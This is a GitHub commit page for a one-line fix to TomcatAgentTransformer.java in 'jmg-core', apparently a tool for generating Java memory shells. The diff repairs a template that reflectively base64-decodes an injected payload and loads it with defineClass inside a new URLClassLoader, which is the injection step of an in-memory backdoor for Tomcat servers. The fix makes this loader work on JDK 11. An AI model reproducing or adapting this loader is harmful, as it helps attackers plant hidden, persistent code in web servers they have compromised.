Skip to content

Commit b422a60

Browse files
committed
修复 agent + jdk11 base64 解码的 bug (thx @mosen)
1 parent 3f33658 commit b422a60

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
6262
" } catch (Throwable e) {\n" +
6363
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
6464
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
65-
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
65+
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
6666
" }\n" +
6767
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
6868
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +

0 commit comments

Comments
 (0)